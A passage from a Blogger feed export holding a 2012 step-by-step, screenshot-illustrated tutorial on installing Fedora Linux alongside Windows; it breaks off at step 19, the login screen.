</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/453446861767654768/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/11/how-to-download-applications-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/453446861767654768'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/453446861767654768'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/11/how-to-download-applications-and.html' title='How to Download Applications and Software for the Linux and install ‘em:'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVCiZvcDaJ2rNJqNcXbMD91YU8SY-ViL_LtYCmYEkTqnAQoreSRrC6wFpQ8PAXH-WtZkpkAORC7tubHfS24M2QejjGb8LjQfLkUq8ohwfWzndRotjxrGN-Mmh7WXcBYdFdKw2KmM_APLo/s72-c/yum-package-management.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-7328230254919231956</id><published>2012-11-03T08:28:00.001-07:00</published><updated>2012-11-03T08:31:21.633-07:00</updated><title type='text'>How to install Fedora Linux:</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Hey guys, I m&amp;nbsp;gonna&amp;nbsp;tell you how to install fedora on your
system along with windows and then in other posts I’ll tell you how to in
install application on fedora and there links, about setting privileges to
users , setting wlan, managing wifi, YUM , RPM and many other important issues
with Linux.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Here
are some steps, for installation fallow these step:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step1: Set priority of your bootable information drive (Through BIOS setting).&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step2: Insert CD/DVD or bootable flash drive (You can create it with LinuxLive software, Link for LinuxLive is given in Important links section) of fedora.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step3: &amp;nbsp;After finding
MBR, It will take few seconds for booting and then fedora will give you two
option&lt;br /&gt;
&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;1)&lt;/span&gt;&lt;span style=&quot;font-size: 7pt; text-indent: -0.25in;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;Try Fedora &amp;nbsp;&amp;nbsp;and&amp;nbsp;&amp;nbsp; 2) Install to hard drive.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraph&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: .25in;&quot;&gt;
As appears in Screenshot .you can
try it as live OS but here we are interested in “Install to hard drive”, so
click on Install to hard Drive.&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFDXfww7CtgMV4GHnrGPD8uBGASrOjDDbwbgdZW6HN0MVzY68aZSYpbYf4WuZqtiPBhZxq9iBeDEfxljfKiWcXU-nfCLxq2vXKTGfeXO-eq9-8-x6On1igWET9fbe9jvqRDSYDDhAvYQo/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFDXfww7CtgMV4GHnrGPD8uBGASrOjDDbwbgdZW6HN0MVzY68aZSYpbYf4WuZqtiPBhZxq9iBeDEfxljfKiWcXU-nfCLxq2vXKTGfeXO-eq9-8-x6On1igWET9fbe9jvqRDSYDDhAvYQo/s320/1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
Step 4: Select the appropriate keyboard layout and click on
Next.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisReFSQxzgJt9uv-_PkavT4pXQnydGoXBLR8XI77MDRr0fldvIvRz1FfsCZ_u60oxa9m8r4SD9xAAbl-R_eS5NgR6ZYUJczkqgNKbUqCBsX5QcylDk-JzhDvOKn433an2PflSOVbqUCAk/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisReFSQxzgJt9uv-_PkavT4pXQnydGoXBLR8XI77MDRr0fldvIvRz1FfsCZ_u60oxa9m8r4SD9xAAbl-R_eS5NgR6ZYUJczkqgNKbUqCBsX5QcylDk-JzhDvOKn433an2PflSOVbqUCAk/s320/2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
Step 5: Select Storage device, for using it on Laptop select
Basic Storage Device. Other option will allow you to install fedora on another
place like (SANs)&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik-KvYIE_Z_2bViDCHLCn-7mg1uBSBzJSaRD6G0frAuQQK6ahg-hHOfGwMmBkRkxpgI7Xu9GxlI_VZGbr2IhVVrXB_7doOL24Yc5gnkAaTt_xtAugzJiXcQGXv0Uep9YLWWSkpXrJoJ1M/s1600/3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik-KvYIE_Z_2bViDCHLCn-7mg1uBSBzJSaRD6G0frAuQQK6ahg-hHOfGwMmBkRkxpgI7Xu9GxlI_VZGbr2IhVVrXB_7doOL24Yc5gnkAaTt_xtAugzJiXcQGXv0Uep9YLWWSkpXrJoJ1M/s320/3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
Step 6: Name your computer and click on Next&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWIelC7GJzFXffvswrABzFpVLQXUWHAu-kWFSkxG1YNv2RDn6gVmcNyLb6-2ndrwsA1rWVFcn7W37AQ5Pk31ZX3A648LXq8aFaPaHAhqxU_VlNLEhIQUKQmxVdrUtVjRqDjbFPuqdEvxs/s1600/4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWIelC7GJzFXffvswrABzFpVLQXUWHAu-kWFSkxG1YNv2RDn6gVmcNyLb6-2ndrwsA1rWVFcn7W37AQ5Pk31ZX3A648LXq8aFaPaHAhqxU_VlNLEhIQUKQmxVdrUtVjRqDjbFPuqdEvxs/s320/4.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
Step7: Select your time zone.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKcguWoVA_Tqa_9bs1JIvr7wwL62XvD9CrOu3PmfZe5H9W4RqiMs4wBIuOekksoE8V6sx1EOOtwvgKXrGfGVohAnfax4OWjj9iaNJiwitjvUiAiQ9o_2zvrGuvJlRm9qcCafnKBGiOOQo/s1600/5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKcguWoVA_Tqa_9bs1JIvr7wwL62XvD9CrOu3PmfZe5H9W4RqiMs4wBIuOekksoE8V6sx1EOOtwvgKXrGfGVohAnfax4OWjj9iaNJiwitjvUiAiQ9o_2zvrGuvJlRm9qcCafnKBGiOOQo/s320/5.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
Step 8: Enter a password for root (Super User).&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCMuwQpA-Rlxc-R8yOk-P4e1EBqtDqZ00vCcinnfUDdFmxYrJs_3qHUMUd8tFtidmBVK_YUyOXsjrZ_eePbBxqqU92Bzg1Aq0WcZSAwjBz6RwmxvPtk5WKa0KVSWkBqkGY5DayK9mEeIY/s1600/6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCMuwQpA-Rlxc-R8yOk-P4e1EBqtDqZ00vCcinnfUDdFmxYrJs_3qHUMUd8tFtidmBVK_YUyOXsjrZ_eePbBxqqU92Bzg1Aq0WcZSAwjBz6RwmxvPtk5WKa0KVSWkBqkGY5DayK9mEeIY/s320/6.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
Step 9: Select the type of installation as per your schema (For
running with along with windows select “use free space or create custom layout”).&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrkxPmOVzGDjWrUv4nFhDVnrgx4WOvJ8q1hggwsHZ1DjNH1AqXOjsP5zB_Dgzh5iJ4HZqUdjyn4mIJVcq9FyRV3XK3XbrLGnTIWC9ZdEdw7qKtKORxZFolEhSzKG4JaSel0kNWKq-4v5c/s1600/7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrkxPmOVzGDjWrUv4nFhDVnrgx4WOvJ8q1hggwsHZ1DjNH1AqXOjsP5zB_Dgzh5iJ4HZqUdjyn4mIJVcq9FyRV3XK3XbrLGnTIWC9ZdEdw7qKtKORxZFolEhSzKG4JaSel0kNWKq-4v5c/s320/7.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
Step 10: Conformation to changes.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg6f9Q1m-8WaU4m6SGvRUHVNMa7RUkvmHXMz4T0n-xQLBQrG37XJF14clhWflNbyj9Skx2y2hCHuuJAoEe8uBghIpBL0LWKGPH_sN9fxDbGSSzvxrnoTzRT60SYvsiGxWDUv5jX8znWkI/s1600/8.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg6f9Q1m-8WaU4m6SGvRUHVNMa7RUkvmHXMz4T0n-xQLBQrG37XJF14clhWflNbyj9Skx2y2hCHuuJAoEe8uBghIpBL0LWKGPH_sN9fxDbGSSzvxrnoTzRT60SYvsiGxWDUv5jX8znWkI/s320/8.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
Step 11: Copying live image to hard drive.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpDLNSe_thtNpSSOhBe5LcnEEg4I-HbjfxepmuoOAqbzAYrK0XNckLii-Zmh4LDO1uJpLOTyas2uDVLeDRWcpQyLj3v0C_Db0kloMQ5QYB3UBPC5QvCURVDpm1D1zQ9IZmF4GhEX5DkHI/s1600/9.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpDLNSe_thtNpSSOhBe5LcnEEg4I-HbjfxepmuoOAqbzAYrK0XNckLii-Zmh4LDO1uJpLOTyas2uDVLeDRWcpQyLj3v0C_Db0kloMQ5QYB3UBPC5QvCURVDpm1D1zQ9IZmF4GhEX5DkHI/s320/9.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;Step 12: Completion of copying&lt;/span&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqX3i1urQPylqeu-64ShOXVYdZJ5b0eWQ1gcNgsPI9o08U6eu-uwZiNqXfkbfDsHhhStIsKa8maHvZvlRKQu-DTpwYLyWwDwDhUOy_GbD2uULO_dEANbokHLf1j67FzXrakQNMh2iV0OE/s1600/10.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqX3i1urQPylqeu-64ShOXVYdZJ5b0eWQ1gcNgsPI9o08U6eu-uwZiNqXfkbfDsHhhStIsKa8maHvZvlRKQu-DTpwYLyWwDwDhUOy_GbD2uULO_dEANbokHLf1j67FzXrakQNMh2iV0OE/s320/10.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;Step 13: Completion of Fedora installation.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe-JdLNDtlPkIALpu-HqCOpFdZVLDH8laBBD0rUWbUSyM5Xx1kGhWZOxAh339cB_OgEqg2N0izeMW4TNYS_5GmY7N2QYKB2MTyc8rERh4xnaq3kjpRPXzByujC8qg3KKLBW_S_9sU-jP0/s1600/11.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe-JdLNDtlPkIALpu-HqCOpFdZVLDH8laBBD0rUWbUSyM5Xx1kGhWZOxAh339cB_OgEqg2N0izeMW4TNYS_5GmY7N2QYKB2MTyc8rERh4xnaq3kjpRPXzByujC8qg3KKLBW_S_9sU-jP0/s320/11.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;Step 14: Welcome to fedora click on forward.&lt;/span&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1YO51unld43iWqxLrGSV7YW4ONNBq3kcTFRz0mollZNOva4qu-67Da-u5mjEArgtjbUxrx3WWQoLuX0zrmn9oZwNxBOHCEvedpV1FxAKDCVGuklSyW0nE39IFetyYahmGXJd4ufGr6Ds/s1600/12.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1YO51unld43iWqxLrGSV7YW4ONNBq3kcTFRz0mollZNOva4qu-67Da-u5mjEArgtjbUxrx3WWQoLuX0zrmn9oZwNxBOHCEvedpV1FxAKDCVGuklSyW0nE39IFetyYahmGXJd4ufGr6Ds/s320/12.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
Step 15: Licence Information click on forward.&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6Rfvr6ymudwdYG5oYA-zMYBfbqw3gveYRvGXmt5M8zdl-Vp4xjzRtL5XilsYBIw0IdmhxPDrMYrpjv62qQwO26bXLVxD4pj65JZWMpofbxDyZFTI6r1r_fU4f9Zzo7pUtOZKrtB_DRqM/s1600/13.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6Rfvr6ymudwdYG5oYA-zMYBfbqw3gveYRvGXmt5M8zdl-Vp4xjzRtL5XilsYBIw0IdmhxPDrMYrpjv62qQwO26bXLVxD4pj65JZWMpofbxDyZFTI6r1r_fU4f9Zzo7pUtOZKrtB_DRqM/s320/13.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;Step 16: Create User; fill the form click on forward.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWYy1Ts6FJKfctzJM8OEIvqGcqZ90FYuOxEf8SyL-Q3t0HTQlWSA5vAgbIhHfKoj1Zms4m-t0V-rPQj9xiE3Pfyj_OnY5QQrEc1bE3Imd_WnHGT0gZrz4AMdPXA5E60sRR6zB0X9Nf2Ig/s1600/14.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWYy1Ts6FJKfctzJM8OEIvqGcqZ90FYuOxEf8SyL-Q3t0HTQlWSA5vAgbIhHfKoj1Zms4m-t0V-rPQj9xiE3Pfyj_OnY5QQrEc1bE3Imd_WnHGT0gZrz4AMdPXA5E60sRR6zB0X9Nf2Ig/s320/14.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;Step 17: Set Time and date.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyYbRGkcOE8L6tdBkdOoF0joZ9tGpZVKmk4n098SfuheF8mjptYH47FhnQdsKBaYoVkneAwxwyuGx1rR2-_lpzMjMGz_52ybkpLF5rqhMvZYYkM7CMoHx_LF0pGPKjWwUMjHzOLqun0P8/s1600/15.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyYbRGkcOE8L6tdBkdOoF0joZ9tGpZVKmk4n098SfuheF8mjptYH47FhnQdsKBaYoVkneAwxwyuGx1rR2-_lpzMjMGz_52ybkpLF5rqhMvZYYkM7CMoHx_LF0pGPKjWwUMjHzOLqun0P8/s320/15.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step 18: Hardware Profile click on finish.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIjU0w6UIf-NiGXfyt5HEhCsOvXoRdra9J1qUodq6XoHkCX03kcLmqdffywtf9KlOawWp22jlKn6yCK9NIloWuoNV2djTqrhErQk6GxC7OBtT_WvO76A5_PnO_CI6U3ZfEg1qaNO0fJdo/s1600/16.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIjU0w6UIf-NiGXfyt5HEhCsOvXoRdra9J1qUodq6XoHkCX03kcLmqdffywtf9KlOawWp22jlKn6yCK9NIloWuoNV2djTqrhErQk6GxC7OBtT_WvO76A5_PnO_CI6U3ZfEg1qaNO0fJdo/s320/16.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;Step 19: Here is your login page.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
